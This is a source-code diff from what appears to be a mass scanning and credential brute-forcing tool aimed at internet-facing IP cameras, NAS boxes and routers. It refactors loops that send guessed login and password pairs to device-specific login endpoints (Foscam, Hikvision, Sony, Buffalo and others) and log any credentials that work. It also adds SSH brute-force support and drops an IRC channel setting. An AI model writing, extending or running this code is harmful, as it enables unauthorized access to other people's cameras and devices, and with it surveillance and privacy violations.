@ -498,13 +186,13 @@ lopaStr _IPCameraBrute(const char *ip, int port, char *SPEC)
for(int i = 0; i < MaxLogin; i++) for(int i = 0; i < MaxLogin; i++)
{ {
if(globalScanFlag == false) break; if(!globalScanFlag) break;
if(strcmp(loginLst[i], " ") == 0) continue; if(strcmp(loginLst[i], " ") == 0) continue;
ZeroMemory(login, sizeof(login)); ZeroMemory(login, sizeof(login));
strcpy(login, loginLst[i]); strcpy(login, loginLst[i]);
for(int j = 0; j < MaxPass; j++) for(int j = 0; j < MaxPass; j++)
{ {
if(globalScanFlag == false) break; if(!globalScanFlag) break;
if(strcmp(passLst[j], " ") == 0) continue; if(strcmp(passLst[j], " ") == 0) continue;
ZeroMemory(pass, sizeof(pass)); ZeroMemory(pass, sizeof(pass));
@ -513,197 +201,55 @@ lopaStr _IPCameraBrute(const char *ip, int port, char *SPEC)
ZeroMemory(request, sizeof(request)); ZeroMemory(request, sizeof(request));
if(strcmp(SPEC, "IPC") == 0) if(strcmp(SPEC, "IPC") == 0)
{ {
strcpy(request, "GET /login.xml?user="); sprintf(request, "GET /login.xml?user=%s&usr=%s&password=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
strcat(request, login); login, login, pass, pass, ip, port);
strcat(request, "&usr="); }
strcat(request, login);
strcat(request, "&password=");
strcat(request, pass);
strcat(request, "&pwd=");
strcat(request, pass);
strcat(request, " HTTP/1.1\r\nHost: ");
strcat(request, ip);
if(port != 80){
strcat(request, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n");
}
else if(strcmp(SPEC, "GEO") == 0) else if(strcmp(SPEC, "GEO") == 0)
{ {
strcpy(request, "GET /Login.cgi?username="); sprintf(request, "GET /Login.cgi?username=%s&password=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
strcat(request, login); login, pass, ip, port);
strcat(request, "&password="); }
strcat(request, pass);
strcat(request, " HTTP/1.1\r\nHost: ");
strcat(request, ip);
if(port != 80){
strcat(request, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n");
}
else if(strcmp(SPEC, "EasyCam") == 0) else if(strcmp(SPEC, "EasyCam") == 0)
{ {
strcpy(request, "GET /login.xml?user="); sprintf(request, "GET /login.xml?user=%s&usr=%s&password=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
strcat(request, login); login, login, pass, pass, ip, port);
strcat(request, "&usr="); }
strcat(request, login);
strcat(request, "&password=");
strcat(request, pass);
strcat(request, "&pwd=");
strcat(request, pass);
strcat(request, " HTTP/1.1\r\nHost: ");
strcat(request, ip);
if(port != 80){
strcat(request, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n");
}
else if(strcmp(SPEC, "Foscam") == 0) else if(strcmp(SPEC, "Foscam") == 0)
{ {
strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr="); sprintf(request, "GET /cgi-bin/CGIProxy.fcgi?usr=%s&pwd=%s&cmd=logIn&usrName=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
strcat(request, login); login, pass, login, pass, ip, port);
strcat(request, "&pwd="); }
strcat(request, pass);
strcat(request, "&cmd=logIn&usrName=");
strcat(request, login);
strcat(request, "&pwd=");
strcat(request, pass);
strcat(request, " HTTP/1.1\r\nHost: ");
strcat(request, ip);
if(port != 80){
strcat(request, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n");
}
else if(strcmp(SPEC, "AVIOSYS") == 0) else if(strcmp(SPEC, "AVIOSYS") == 0)
{ {
strcpy(request, "GET /check_user.html?UserName="); sprintf(request, "GET /check_user.html?UserName=%s&PassWord=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
strcat(request, login); login, pass, ip, port);
strcat(request, "&PassWord="); }
strcat(request, pass);
strcat(request, " HTTP/1.1\r\nHost: ");
strcat(request, ip);
if(port != 80){
strcat(request, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n");
}
else if(strcmp(SPEC, "BUFFALO") == 0) else if(strcmp(SPEC, "BUFFALO") == 0)
{ {
strcpy(request, "POST /rpc/login HTTP/1.1\r\nHost: "); int sz = strlen(login) + strlen(pass) + strlen("user=&password=");
strcat(request, ip);
if(port != 80){ sprintf(request, "POST /rpc/login HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nuser=%s&password=%s",
strcat(request, ":"); ip, port, sz, login, pass);
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive");
int loginLength = strlen(login);
int passLength = strlen(pass);
int sz = loginLength + passLength + strlen("user=&password=");
char *passString = new char[sz + 1];
ZeroMemory(passString, sizeof(passString));
strcpy(passString, "user=");
strcat(passString, login);
strcat(passString, "&password=");
strcat(passString, pass);
strcat(request, "\r\nContent-Length: ");
char tempBuff[16] = {0};
sprintf(tempBuff, "%d", sz);
strcat(request, tempBuff);
strcat(request, "\r\n\r\n");
strcat(request, passString);
delete []passString;
} }
else if(strcmp(SPEC, "DVS") == 0) else if(strcmp(SPEC, "DVS") == 0)
{ {
strcpy(request, "POST /login HTTP/1.1\r\nHost: "); int sz = strlen(login) + strlen(pass) + strlen("langs=en&user=&password=&submit=+Login+");
strcat(request, ip);
if(port != 80){ sprintf(request, "POST /login HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nlangs=en&user=%s&password=%s&submit=+Login+",
strcat(request, ":"); ip, port, sz, login, pass);
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive");
int loginLength = strlen(login);
int passLength = strlen(pass);
int sz = loginLength + passLength + strlen("langs=en&user=&password=&submit=+Login+");
char *passString = new char[sz + 1];
ZeroMemory(passString, sizeof(passString));
strcpy(passString, "langs=en&user=");
strcat(passString, login);
strcat(passString, "&password=");
strcat(passString, pass);
strcat(passString, "&submit=+Login+");
strcat(request, "\r\nContent-Length: ");
char tempBuff[16] = {0};
sprintf(tempBuff, "%d", sz);
strcat(request, tempBuff);
strcat(request, "\r\n\r\n");
strcat(request, passString);
delete []passString;
} }
else if(strcmp(SPEC, "IPCAM") == 0) else if(strcmp(SPEC, "IPCAM") == 0)
{ {
strcpy(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name="); sprintf(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name=%s&-passwd=%s&-time=1416767330831 HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
strcat(request, login); login, pass, ip, port);
strcat(request, "&-passwd=");
strcat(request, pass);
strcat(request, "&-time=1416767330831 HTTP/1.1\r\nHost: ");
strcat(request, ip);
if(port != 80){
strcat(request, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n");
} }
else if(strcmp(SPEC, "IEORFOREFOX") == 0) else if(strcmp(SPEC, "IEORFOREFOX") == 0)
{ {
strcpy(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: "); int sz = strlen(login) + strlen(pass) + strlen("username=&userpwd=");
strcat(request, ip);
if(port != 80){ sprintf(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nusername=%s&userpwd=%s",
strcat(request, ":"); ip, port, sz, login, pass);
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
};
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive");
int loginLength = strlen(login);
int passLength = strlen(pass);
int sz = loginLength + passLength + strlen("username=&userpwd=");
char *passString = new char[sz + 1];
ZeroMemory(passString, sizeof(passString));
strcpy(passString, "username=");
strcat(passString, login);
strcat(passString, "&userpwd=");
strcat(passString, pass);
strcat(request, "\r\nContent-Length: ");
char tempBuff[16] = {0};
sprintf(tempBuff, "%d", sz);
strcat(request, tempBuff);
strcat(request, "\r\n\r\n");
strcat(request, passString);
delete []passString;
}; };
int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector);

View File

@ -5,7 +5,6 @@
#define RECV_MAX_SIZE 350000 #define RECV_MAX_SIZE 350000
#define REQUEST_MAX_SIZE 4096 #define REQUEST_MAX_SIZE 4096
#define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" #define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21"
#define IRC_CHAN "iskopasi_lab03"
#define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1; #define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1;
@ -27,7 +26,7 @@ extern char top_level_domain[128];
extern volatile int cons, BrutingThrds, gThreads; extern volatile int cons, BrutingThrds, gThreads;
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives; extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives;
extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened, extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened,
widgetIsHidden, OnlineMsgSentFlag, utfIRCFlag, HTMLDebugMode, gNegDebugMode, widgetIsHidden, OnlineMsgSentFlag, HTMLDebugMode, gNegDebugMode,
gDebugMode, horLineFlag, gPingNScan, gShuffle, gDebugMode, horLineFlag, gPingNScan, gShuffle,
BALogSwitched; BALogSwitched;
extern int found, indexIP, gMode, extern int found, indexIP, gMode,
@ -41,9 +40,8 @@ extern int found, indexIP, gMode,
offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag;
extern unsigned int Activity; extern unsigned int Activity;
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64], extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32],
trcPort[32], trcSrvPortLine[32], saveEndIP[128], trcPort[32], trcSrvPortLine[32], saveEndIP[128],
gRange[128], gFirstDom[128], gPorts[65536], endIP2[128], gRange[128], gFirstDom[128], gPorts[65536],
gVER[16], gVER[16],
gProxyIP[64], gProxyPort[8], gProxyIP[64], gProxyPort[8],
currentIP[MAX_ADDR_LEN], currentIP[MAX_ADDR_LEN],

View File

@ -6,6 +6,7 @@
#include "Connector.h" #include "Connector.h"
#include "BasicAuth.h" #include "BasicAuth.h"
#include "FTPAuth.h" #include "FTPAuth.h"
#include "SSHAuth.h"
#include <memory> #include <memory>
char* strstri(const char *_Str, const char *_SubStr) char* strstri(const char *_Str, const char *_SubStr)
@ -489,7 +490,6 @@ char topBuff[1024] = {"<div id=\"tit\"><a href=\"strange.html\">.strange</a> <a
void fputsf(char *text, int flag, char *msg) void fputsf(char *text, int flag, char *msg)
{ {
FILE *file = NULL; FILE *file = NULL;
char wew[256] = {0};
if(flag == 0 || flag == 15 || flag == -10) if(flag == 0 || flag == 15 || flag == -10)
{ {
@ -760,7 +760,7 @@ void putInFile(int flag, const char *ip, char *port, int recd, char *finalstr, c
ZeroMemory(msg, strlen(msg)); ZeroMemory(msg, strlen(msg));
} }
void _specFillerBA(char *hl, const char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag) void _specFillerBA(const char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag)
{ {
char log[512] = {0}; char log[512] = {0};
@ -779,7 +779,7 @@ void _specFillerBA(char *hl, const char *ip, char *port, char *finalstr, const c
fputsf (log , flag, "Basic Authorization"); fputsf (log , flag, "Basic Authorization");
} }
void _specFillerWF(char *hl, const char *ip, char *port, char *finalstr, char *login, char *pass, int flag) void _specFillerWF(const char *ip, char *port, char *finalstr, char *login, char *pass, int flag)
{ {
char log[512] = {0}; char log[512] = {0};
@ -1144,7 +1144,7 @@ void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{ {
_specFillerWF(hl, ip, tport, title, lps.login, lps.pass, flag); _specFillerWF(ip, tport, title, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass); fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp); putInFile(flag, ip, tport, recd, title, hl, cp);
@ -1172,13 +1172,13 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *hl, char *finalstr, int
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{ {
_specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); _specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
}; };
} }
void _specBrute(char *cookie, const char *ip, int port, void _specBrute(const char *ip, int port,
char *hl, char *finalstr, int flag, char *hl, char *finalstr, int flag,
char *path, char *comment, char *cp, int recd) char *path, char *comment, char *cp, int recd)
{ {
@ -1186,11 +1186,11 @@ void _specBrute(char *cookie, const char *ip, int port,
char tport[32] = {0}; char tport[32] = {0};
sprintf(tport, ":%d", port); sprintf(tport, ":%d", port);
const lopaStr &lps = BA::_BALobby((string(ip) + string(path)).c_str(), port); const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port);
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{ {
_specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); _specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
}; };
@ -1361,14 +1361,12 @@ void _saveSSH(const char *ip, int port, int recd, const char *buffcpy)
int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, char *hl)
{ {
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL ||
strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL)
{ {
std::string sshBuff; std::string sshBuff;
int res = Connector::_SSHLobby(ip, p, &sshBuff); int res = SSHAuth::SSHLobby(ip, p, &sshBuff);
if(res != -1 && res != -2) if(res != -1 && res != -2) _saveSSH(ip, p, recd, (char*)sshBuff.c_str());
{
_saveSSH(ip, p, recd, (char*)sshBuff.c_str());
};
return -1; return -1;
}; };
@ -1417,11 +1415,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
int sz = strlen(ps.path); int sz = strlen(ps.path);
strncpy(baPath, ps.path, (sz < 256 ? sz : 256)); strncpy(baPath, ps.path, (sz < 256 ? sz : 256));
} };
else
{
if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE);
};
sprintf(port, "%d", p); sprintf(port, "%d", p);
@ -1435,7 +1429,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
char log[2048] = {0}; char log[2048] = {0};
char logEmit[2048] = {0}; char logEmit[2048] = {0};
const lopaStr &lps = FTPA::_FTPLobby(ip, p, &ps); const lopaStr &lps = FTPA::FTPLobby(ip, p, &ps);
if(strstr(lps.other, "ROUTER") != NULL) if(strstr(lps.other, "ROUTER") != NULL)
{ {
@ -1480,47 +1474,47 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
} }
else if(flag == 21) //Eyeon else if(flag == 21) //Eyeon
{ {
_specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd);
} }
else if(flag == 22) //IP Camera control else if(flag == 22) //IP Camera control
{ {
_specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd);
} }
else if(flag == 23) //Network Camera BB-SC384 else if(flag == 23) //Network Camera BB-SC384
{ {
_specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd);
} }
else if(flag == 24) //Network Camera VB-M40 else if(flag == 24) //Network Camera VB-M40
{ {
_specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd);
} }
else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera
{ {
_specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd); _specBrute(ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd);
} }
else if(flag == 26) //Sony Network Camera else if(flag == 26) //Sony Network Camera
{ {
_specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd);
} }
else if(flag == 27) //UA Network Camera else if(flag == 27) //UA Network Camera
{ {
_specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd);
} }
else if(flag == 28) //Network Camera VB-M40 else if(flag == 28) //Network Camera VB-M40
{ {
_specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd);
} }
else if(flag == 29) //LG Smart IP Device else if(flag == 29) //LG Smart IP Device
{ {
_specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd);
} }
else if(flag == 30) //NAS else if(flag == 30) //NAS
{ {
_specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd);
} }
else if(flag == 31) //ip cam else if(flag == 31) //ip cam
{ {
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd);
} }
else if(flag == 32) //IPC WEB ip cam else if(flag == 32) //IPC WEB ip cam
{ {
@ -1532,7 +1526,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
} }
else if(flag == 34) //Hikvision ip cam else if(flag == 34) //Hikvision ip cam
{ {
